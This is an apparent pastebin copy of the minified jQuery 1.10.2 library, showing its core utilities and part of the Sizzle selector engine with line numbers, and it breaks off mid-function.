· 10 years ago · Sep 12, 2016, 06:18 PM
1/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license
2//@ sourceMappingURL=jquery-1.10.2.min.map
3*/
4(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=
5
6[],f="1.10.2",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function
7
8(e,t){return new x.fn.init(e,t,r)},w=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,T=/\S+/g,C=/^[\s\uFEFF\xA0]+|
9
10[\s\uFEFF\xA0]+$/g,N=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,k=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,E=/^[\],:{}\s]*
11
12$/,S=/(?:^|:|,)(?:\s*\[)+/g,A=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+
13
14\.|)\d+(?:[eE][+-]?\d+|)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e)
15
16{(a.addEventListener||"load"===e.type||"complete"===a.readyState)&&(_(),x.ready())},_=function()
17
18{a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!
19
201)):(a.detachEvent("onreadystatechange",q),e.detachEvent("onload",q))};x.fn=x.prototype=
21
22{jquery:f,constructor:x,init:function(e,n,r){var i,o;if(!e)return this;if("string"==typeof e){if(i="<"===e.charAt(0)
23
24&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n)return!n||n.jquery?(n||
25
26r).find(e):this.constructor(n).find(e);if(i[1]){if(n=n instanceof x?n[0]:n,x.merge(this,x.parseHTML(i
27
28[1],n&&n.nodeType?n.ownerDocument||n:a,!0)),k.test(i[1])&&x.isPlainObject(n))for(i in n)x.isFunction(this
29
30[i])?this[i](n[i]):this.attr(i,n[i]);return this}if(o=a.getElementById(i[2]),o&&o.parentNode){if(o.id!==i[2])return
31
32r.find(e);this.length=1,this[0]=o}return this.context=a,this.selector=e,this}return e.nodeType?
33
34(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?r.ready(e):(e.selector!==t&&
35
36(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:"",length:0,toArray:function()
37
38{return g.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this
39
40[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return
41
42t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return
43
44x.ready.promise().done(e),this},slice:function(){return this.pushStack(g.apply(this,arguments))},first:function
45
46(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return
47
48this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return
49
50e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:
51
52[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||
53
54{},l=1,u=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},l=2),"object"==typeof s||
55
56x.isFunction(s)||(s={}),u===l&&(s=this,--l);u>l;l++)if(null!=(o=arguments[l]))for(i in o)e=s[i],r=o[i],s!==r&&
57
58(c&&r&&(x.isPlainObject(r)||(n=x.isArray(r)))?(n?(n=!1,a=e&&x.isArray(e)?e:[]):a=e&&x.isPlainObject(e)?e:
59
60{},s[i]=x.extend(c,a,r)):r!==t&&(s[i]=r));return s},x.extend({expando:"jQuery"+(f+Math.random()).replace(/
61
62\D/g,""),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=l),x},isReady:!
63
641,readyWait:1,holdReady:function(e){e?x.readyWait++:x.ready(!0)},ready:function(e){if(e===!0?!--
65
66x.readyWait:!x.isReady){if(!a.body)return setTimeout(x.ready);x.isReady=!0,e!==!0&&--x.readyWait>0||
67
68(n.resolveWith(a,[x]),x.fn.trigger&&x(a).trigger("ready").off("ready"))}},isFunction:function(e)
69
70{return"function"===x.type(e)},isArray:Array.isArray||function(e){return"array"===x.type
71
72(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat
73
74(e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?c[y.call
75
76(e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"object"!==x.type(e)||e.nodeType||
77
78x.isWindow(e))return!1;try{if(e.constructor&&!v.call(e,"constructor")&&!v.call
79
80(e.constructor.prototype,"isPrototypeOf"))return!1}catch(r){return!1}if(x.support.ownLast)for(n in e)return
81
82v.call(e,n);for(n in e);return n===t||v.call(e,n)},isEmptyObject:function(e){var t;for(t in e)return!1;return!
83
840},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return
85
86null;"boolean"==typeof t&&(n=t,t=!1),t=t||a;var r=k.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:
87
88(r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:function(n){return
89
90e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=x.trim(n),n&&E.test(n.replace
91
92(A,"@").replace(j,"]").replace(S,"")))?Function("return "+n)():(x.error("Invalid JSON:
93
94"+n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n)return null;try{e.DOMParser?(i=new
95
96DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject
97
98("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!
99
100r.getElementsByTagName("parsererror").length||x.error("Invalid XML: "+n),r},noop:function()
101
102{},globalEval:function(t){t&&x.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e)
103
104{return e.replace(D,"ms-").replace(L,H)},nodeName:function(e,t){return
105
106e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M
107
108(e);if(n){if(a){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if
109
110(a){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return
111
112e},trim:b&&!b.call("\ufeff\u00a0")?function(e){return null==e?"":b.call(e)}:function(e){return null==e?"":(e
113
114+"").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?x.merge
115
116(n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(m)return m.call(t,e,n);for
117
118(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n)
119
120{var r=n.length,i=e.length,o=0;if("number"==typeof r)for(;r>o;o++)e[i++]=n[o];else while(n[o]!==t)e[i++]=n[o+
121
122+];return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o++)r=!!t(e[o],o),n!
123
124==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a)for(;o>i;i++)r=t(e
125
126[i],i,n),null!=r&&(s[s.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(s[s.length]=r);return d.apply
127
128([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),x.isFunction(e)?
129
130(r=g.call(arguments,2),i=function(){return e.apply(n||this,r.concat(g.call(arguments)))},i.guid=e.guid=e.guid||
131
132x.guid++,i):t},access:function(e,n,r,i,o,a,s){var l=0,u=e.length,c=null==r;if("object"===x.type(r)){o=!0;for(l in r)
133
134x.access(e,n,l,r[l],!0,a,s)}else if(i!==t&&(o=!0,x.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function
135
136(e,t,n){return c.call(x(e),n)})),n))for(;u>l;l++)n(e[l],r,s?i:i.call(e[l],l,n(e[l],r)));return o?e:c?n.call(e):u?n(e
137
138[0],r):a},now:function(){return(new Date).getTime()},swap:function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style
139
140[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i}}),x.ready.promise=function(t){if(!n)if
141
142(n=x.Deferred(),"complete"===a.readyState)setTimeout(x.ready);else if(a.addEventListener)
143
144a.addEventListener("DOMContentLoaded",q,!1),e.addEventListener("load",q,!1);else{a.attachEvent
145
146("onreadystatechange",q),e.attachEvent("onload",q);var r=!1;try
147
148{r=null==e.frameElement&&a.documentElement}catch(i){}r&&r.doScroll&&function o(){if(!x.isReady){try
149
150{r.doScroll("left")}catch(e){return setTimeout(o,50)}_(),x.ready()}}()}return n.promise(t)},x.each("Boolean
151
152Number String Function Array Date RegExp Object Error".split(" "),function(e,t){c["[object "+t+"]"]
153
154=t.toLowerCase()});function M(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!
155
1560:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=x(a),function(e,t){var
157
158n,r,i,o,a,s,l,u,c,p,f,d,h,g,m,y,v,b="sizzle"+-new Date,w=e.document,T=0,C=0,N=st(),k=st(),E=st(),S=!1,A=function
159
160(e,t){return e===t?(S=!0,0):0},j=typeof t,D=1<<31,L={}.hasOwnProperty,H=
161
162[],q=H.pop,_=H.push,M=H.push,O=H.slice,F=H.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]
163
164===e)return t;return-1},B="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|
165
166ismap|loop|multiple|open|readonly|required|scoped",P="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\\x00-\
167
168\xa0])+",W=R.replace("w","w#"),$="\\["+P+"*("+R+")"+P+"*(?:([*^$|!~]?=)"+P+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\
169
170\3|("+W+")|)|)"+P+"*\\]",I=":("+R+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+$.replace
171
172(3,8)+")*)|.*)\\)|)",z=RegExp("^"+P+"+|((?:^|[^\\\\])(?:\\\\.)*)"+P+"+$","g"),X=RegExp("^"+P+"*,"+P
173
174+"*"),U=RegExp("^"+P+"*([>+~]|"+P+")"+P+"*"),V=RegExp(P+"*[+~]"),Y=RegExp("="+P+"*([^\\]'\"]*)"+P+"*\
175
176\]","g"),J=RegExp(I),G=RegExp("^"+W+"$"),Q={ID:RegExp("^#("+R+")"),CLASS:RegExp("^\\.("+R+")"),TAG:RegExp
177
178("^("+R.replace("w","w*")+")"),ATTR:RegExp("^"+$),PSEUDO:RegExp("^"+I),CHILD:RegExp("^:(only|first|last|
179
180nth|nth-last)-(child|of-type)(?:\\("+P+"*(even|odd|(([+-]|)(\\d*)n|)"+P+"*(?:([+-]|)"+P+"*(\\d+)|))"+P+"*\
181
182\)|)","i"),bool:RegExp("^(?:"+B+")$","i"),needsContext:RegExp("^"+P+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|
183
184last)(?:\\("+P+"*((?:-\\d)?\\d*)"+P+"*\\)|)(?=[^-]|$)","i")},K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.
185
186([\w-]+))$/,et=/^(?:input|select|textarea|button)$/i,tt=/^h\d$/i,nt=/'|\\/g,rt=RegExp("\\\\([\\da-f]{1,6}"+P
187
188+"?|("+P+")|.)","ig"),it=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r
189
190+65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{M.apply(H=O.call
191
192(w.childNodes),w.childNodes),H[w.childNodes.length].nodeType}catch(ot){M={apply:H.length?function(e,t)
193
194{_.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function at(e,t,n,i)
195
196{var o,a,s,l,u,c,d,m,y,x;if((t?t.ownerDocument||t:w)!==f&&p(t),t=t||f,n=n||[],!e||"string"!=typeof e)return
197
198n;if(1!==(l=t.nodeType)&&9!==l)return[];if(h&&!i){if(o=Z.exec(e))if(s=o[1]){if(9===l){if(a=t.getElementById
199
200(s),!a||!a.parentNode)return n;if(a.id===s)return n.push(a),n}else if(t.ownerDocument&&
201
202(a=t.ownerDocument.getElementById(s))&&v(t,a)&&a.id===s)return n.push(a),n}else{if(o[2])return M.apply
203
204(n,t.getElementsByTagName(e)),n;if((s=o[3])&&r.getElementsByClassName&&t.getElementsByClassName)
205
206return M.apply(n,t.getElementsByClassName(s)),n}if(r.qsa&&(!g||!g.test(e))){if
207
208(m=d=b,y=t,x=9===l&&e,1===l&&"object"!==t.nodeName.toLowerCase()){c=mt(e),(d=t.getAttribute("id"))?
209
210m=d.replace(nt,"\\$&"):t.setAttribute("id",m),m="[id='"+m+"'] ",u=c.length;while(u--)c[u]=m+yt(c[u]);y=V.test
211
212(e)&&t.parentNode||t,x=c.join(",")}if(x)try{return M.apply(n,y.querySelectorAll(x)),n}catch(T){}finally{d||
213
214t.removeAttribute("id")}}}return kt(e.replace(z,"$1"),t,n,i)}function st(){var e=[];function t(n,r){return e.push
215
216(n+=" ")>o.cacheLength&&delete t[e.shift()],t[n]=r}return t}function lt(e){return e[b]=!0,e}function ut(e){var
217
218t=f.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild
219
220(t),t=null}}function ct(e,t){var n=e.split("|"),r=e.length;while(r--)o.attrHandle[n[r]]=t}function pt(e,t){var
221
222n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r)return r;if
223
224(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function ft(e){return function(t){var
225
226n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function dt(e){return function(t){var
227
228n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function ht(e){return lt
229
230(function(t){return t=+t,lt(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n
231
232[i]))})})}s=at.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!
233
234==t.nodeName:!1},r=at.support={},p=at.setDocument=function(e){var n=e?e.ownerDocument||
235
236e:w,i=n.defaultView;return n!==f&&9===n.nodeType&&n.documentElement?(f=n,d=n.documentElement,h=!s
237
238(n),i&&i.attachEvent&&i!==i.top&&i.attachEvent("onbeforeunload",function(){p()}),r.attributes=ut(function(e)
239
240{return e.className="i",!e.getAttribute("className")}),r.getElementsByTagName=ut(function(e){return
241
242e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),r.getElementsByClassName=ut
243
244(function(e){return e.innerHTML="<div class='a'></div><div class='a
245
246i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),r.getById=ut(function(e)
247
248{return d.appendChild(e).id=b,!n.getElementsByName||!n.getElementsByName(b).length}),r.getById?
249
250(o.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return
251
252n&&n.parentNode?[n]:[]}},o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){return e.getAttribute
253
254("id")===t}}):(delete o.find.ID,o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){var n=typeof
255
256e.getAttributeNode!==j&&e.getAttributeNode("id");return
257
258n&&n.value===t}}),o.find.TAG=r.getElementsByTagName?function(e,n){return typeof
259
260n.getElementsByTagName!==j?n.getElementsByTagName(e):t}:function(e,t){var n,r=
261
262[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return
263
264o},o.find.CLASS=r.getElementsByClassName&&function(e,n){return typeof n.getElementsByClassName!
265
266==j&&h?n.getElementsByClassName(e):t},m=[],g=[],(r.qsa=K.test(n.querySelectorAll))&&(ut(function(e)
267
268{e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||
269
270g.push("\\["+P+"*(?:value|"+B+")"),e.querySelectorAll(":checked").length||g.push(":checked")}),ut(function
271
272(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute
273
274("t",""),e.querySelectorAll("[t^='']").length&&g.push("[*^$]="+P+"*(?:''|\"\")"),e.querySelectorAll
275
276(":enabled").length||g.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),g.push(",.*:")})),
277
278(r.matchesSelector=K.test(y=d.webkitMatchesSelector||d.mozMatchesSelector||d.oMatchesSelector||
279
280d.msMatchesSelector))&&ut(function(e){r.disconnectedMatch=y.call(e,"div"),y.call(e,"[s!='']:x"),m.push("!
281
282=",I)}),g=g.length&&RegExp(g.join("|")),m=m.length&&RegExp(m.join("|")),v=K.test(d.contains)||
283
284d.compareDocumentPosition?function(e,t){var n=9===e.nodeType?
285
286e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains
287
288(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while
289
290(t=t.parentNode)if(t===e)return!0;return!1},A=d.compareDocumentPosition?function(e,t){if(e===t)return S=!
291
2920,0;var i=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition
293
294(t);return i?1&i||!r.sortDetached&&t.compareDocumentPosition(e)===i?e===n||v(w,e)?-1:t===n||v(w,t)?1:c?
295
296F.call(c,e)-F.call(c,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var
297
298r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t)return S=!0,0;if(!o||!a)return e===n?-1:t===n?1:o?-
299
3001:a?1:c?F.call(c,e)-F.call(c,t):0;if(o===a)return pt(e,t);r=e;while(r=r.parentNode)s.unshift(r);r=t;while
301
302(r=r.parentNode)l.unshift(r);while(s[i]===l[i])i++;return i?pt(s[i],l[i]):s[i]===w?-1:l[i]===w?
303
3041:0},n):f},at.matches=function(e,t){return at(e,null,null,t)},at.matchesSelector=function(e,t){if
305
306((e.ownerDocument||e)!==f&&p(e),t=t.replace(Y,"='$1']"),!(!r.matchesSelector||!h||m&&m.test(t)||
307
308g&&g.test(t)))try{var n=y.call(e,t);if(n||r.disconnectedMatch||e.document&&11!==e.document.nodeType)
309
310return n}catch(i){}return at(t,f,null,[e]).length>0},at.contains=function(e,t){return(e.ownerDocument||e)!
311
312==f&&p(e),v(e,t)},at.attr=function(e,n){(e.ownerDocument||e)!==f&&p(e);var i=o.attrHandle[n.toLowerCase
313
314()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attributes||!h?e.getAttribute(n):
315
316(a=e.getAttributeNode(n))&&a.specified?a.value:null:a},at.error=function(e){throw Error("Syntax error,
317
318unrecognized expression: "+e)},at.uniqueSort=function(e){var t,n=[],i=0,o=0;if(S=!r.detectDuplicates,c=!
319
320r.sortStable&&e.slice(0),e.sort(A),S){while(t=e[o++])t===e[o]&&(i=n.push(o));while(i--)e.splice(n[i],1)}return
321
322e},a=at.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof
323
324e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=a(e)}else if(3===i||4===i)return
325
326e.nodeValue}else for(;t=e[r];r++)n+=a(t);return n},o=at.selectors=
327
328{cacheLength:50,createPseudo:lt,match:Q,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":
329
330{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e)
331
332{return e[1]=e[1].replace(rt,it),e[3]=(e[4]||e[5]||"").replace(rt,it),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice
333
334(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||at.error(e[0]),e[4]=+(e
335
336[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&at.error(e
337
338[0]),e},PSEUDO:function(e){var n,r=!e[5]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e
339
340[4]:r&&J.test(r)&&(n=mt(r,!0))&&(n=r.indexOf(")",r.length-n)-r.length)&&(e[0]=e[0].slice(0,n),e[2]=r.slice
341
342(0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(rt,it).toLowerCase();return"*"===e?function()
343
344{return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=N[e+"
345
346"];return t||(t=RegExp("(^|"+P+")"+e+"("+P+"|$)"))&&N(e,function(e){return t.test("string"==typeof
347
348e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute("class")||"")})},ATTR:function(e,t,n)
349
350{return function(r){var i=at.attr(r,e);return null==i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?
351
352n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+"
353
354").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!
355
356==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!
357
358e.parentNode}:function(t,n,l){var u,c,p,f,d,h,g=o!
359
360==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!l&&!s;if(m){if(o)
361
362{while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===y:1===p.nodeType)return!
363
3641;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[b]||(m[b]=
365
366{}),u=c[e]||[],d=u[0]===T&&u[1],f=u[0]===T&&u[2],p=d&&m.childNodes[d];while(p=++d&&p&&p[g]||
367
368(f=d=0)||h.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[T,d,f];break}}else if(v&&(u=(t[b]||(t[b]={}))[e])&&u
369
370[0]===T)f=u[1];else while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if((s?p.nodeName.toLowerCase()
371
372===y:1===p.nodeType)&&++f&&(v&&((p[b]||(p[b]={}))[e]=[T,f]),p===t))break;return f-=i,f===r||0===f
373
374%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=o.pseudos[e]||o.setFilters[e.toLowerCase()]||at.error
375
376("unsupported pseudo: "+e);return r[b]?r(t):r.length>1?(n=[e,e,"",t],o.setFilters.hasOwnProperty
377
378(e.toLowerCase())?lt(function(e,n){var i,o=r(e,t),a=o.length;while(a--)i=F.call(e,o[a]),e[i]=!(n[i]=o
379
380[a])}):function(e){return r(e,0,n)}):r}},pseudos:{not:lt(function(e){var t=[],n=[],r=l(e.replace(z,"$1"));return r
381
382[b]?lt(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o)
383
384{return t[0]=e,r(t,null,o,n),!n.pop()}}),has:lt(function(e){return function(t){return at(e,t).length>0}}),contains:lt
385
386(function(e){return function(t){return(t.textContent||t.innerText||a(t)).indexOf(e)>-1}}),lang:lt(function(e)
387
388{return G.test(e||"")||at.error("unsupported lang: "+e),e=e.replace(rt,it).toLowerCase(),function(t){var n;do if
389
390(n=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||
391
3920===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var
393
394n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===d},focus:function(e)
395
396{return e===f.activeElement&&(!f.hasFocus||f.hasFocus())&&!!(e.type||e.href||
397
398~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!
399
4000},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!
401
402e.checked||"option"===t&&!!e.selected},selected:function(e){return
403
404e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for
405
406(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!
407
4080},parent:function(e){return!o.pseudos.empty(e)},header:function(e){return tt.test
409
410(e.nodeName)},input:function(e){return et.test(e.nodeName)},button:function(e){var
411
412t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var
413
414t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||
415
416t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function
417
418(e,t,n){return[0>n?n+t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:ht(function
419
420(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:ht(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push
421
422(r);return e}),gt:ht(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return
423
424e})}},o.pseudos.nth=o.pseudos.eq;for(n in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})o.pseudos[n]=ft
425
426(n);for(n in{submit:!0,reset:!0})o.pseudos[n]=dt(n);function gt(){}
427
428gt.prototype=o.filters=o.pseudos,o.setFilters=new gt;function mt(e,t){var n,r,i,a,s,l,u,c=k[e+" "];if(c)return t?
429
4300:c.slice(0);s=e,l=[],u=o.preFilter;while(s){(!n||(r=X.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),l.push(i=
431
432[])),n=!1,(r=U.exec(s))&&(n=r.shift(),i.push({value:n,type:r[0].replace(z," ")}),s=s.slice(n.length));for(a in
433
434o.filter)!(r=Q[a].exec(s))||u[a]&&!(r=u[a](r))||(n=r.shift(),i.push({value:n,type:a,matches:r}),s=s.slice
435
436(n.length));if(!n)break}return t?s.length:s?at.error(e):k(e,l).slice(0)}function yt(e){var t=0,n=e.length,r="";for
437
438(;n>t;t++)r+=e[t].value;return r}function vt(e,t,n){var r=t.dir,o=n&&"parentNode"===r,a=C++;return t.first?
439
440function(t,n,i){while(t=t[r])if(1===t.nodeType||o)return e(t,n,i)}:function(t,n,s){var l,u,c,p=T+" "+a;if(s){while
441
442(t=t[r])if((1===t.nodeType||o)&&e(t,n,s))return!0}else while(t=t[r])if(1===t.nodeType||o)if(c=t[b]||(t[b]={}),
443
444(u=c[r])&&u[0]===p){if((l=u[1])===!0||l===i)return l===!0}else if(u=c[r]=[p],u[1]=e(t,n,s)||i,u[1]===!0)return!
445
4460}}function bt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e
447
448[0]}function xt(e,t,n,r,i){var o,a=[],s=0,l=e.length,u=null!=t;for(;l>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push
449
450(o),u&&t.push(s));return a}function wt(e,t,n,r,i,o){return r&&!r[b]&&(r=wt(r)),i&&!i[b]&&(i=wt(i,o)),lt
451
452(function(o,a,s,l){var u,c,p,f=[],d=[],h=a.length,g=o||Nt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:xt
453
454(g,f,e,s,l),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,l),r){u=xt(y,d),r(u,[],s,l),c=u.length;while(c--)(p=u[c])&&(y[d
455
456[c]]=!(m[d[c]]=p))}if(o){if(i||e){if(i){u=[],c=y.length;while(c--)(p=y[c])&&u.push(m[c]=p);i(null,y=[],u,l)}
457
458c=y.length;while(c--)(p=y[c])&&(u=i?F.call(o,p):f[c])>-1&&(o[u]=!(a[u]=p))}}else y=xt(y===a?y.splice
459
460(h,y.length):y),i?i(null,a,y,l):M.apply(a,y)})}function Tt(e){var t,n,r,i=e.length,a=o.relative[e[0].type],s=a||
461
462o.relative[" "],l=a?1:0,c=vt(function(e){return e===t},s,!0),p=vt(function(e){return F.call(t,e)>-1},s,!0),f=
463
464[function(e,n,r){return!a&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;i>l;l++)if(n=o.relative[e
465
466[l].type])f=[vt(bt(f),n)];else{if(n=o.filter[e[l].type].apply(null,e[l].matches),n[b]){for(r=++l;i>r;r++)if(o.relative
467
468[e[r].type])break;return wt(l>1&&bt(f),l>1&&yt(e.slice(0,l-1).concat({value:" "===e[l-2].type?"*":""})).replace
469
470(z,"$1"),n,r>l&&Tt(e.slice(l,r)),i>r&&Tt(e=e.slice(r)),i>r&&yt(e))}f.push(n)}return bt(f)}function Ct(e,t){var
471
472n=0,r=t.length>0,a=e.length>0,s=function(s,l,c,p,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,C=u,N=s||
473
474a&&o.find.TAG("*",d&&l.parentNode||l),k=T+=null==C?1:Math.random()||.1;for(w&&(u=l!==f&&l,i=n);null!=
475
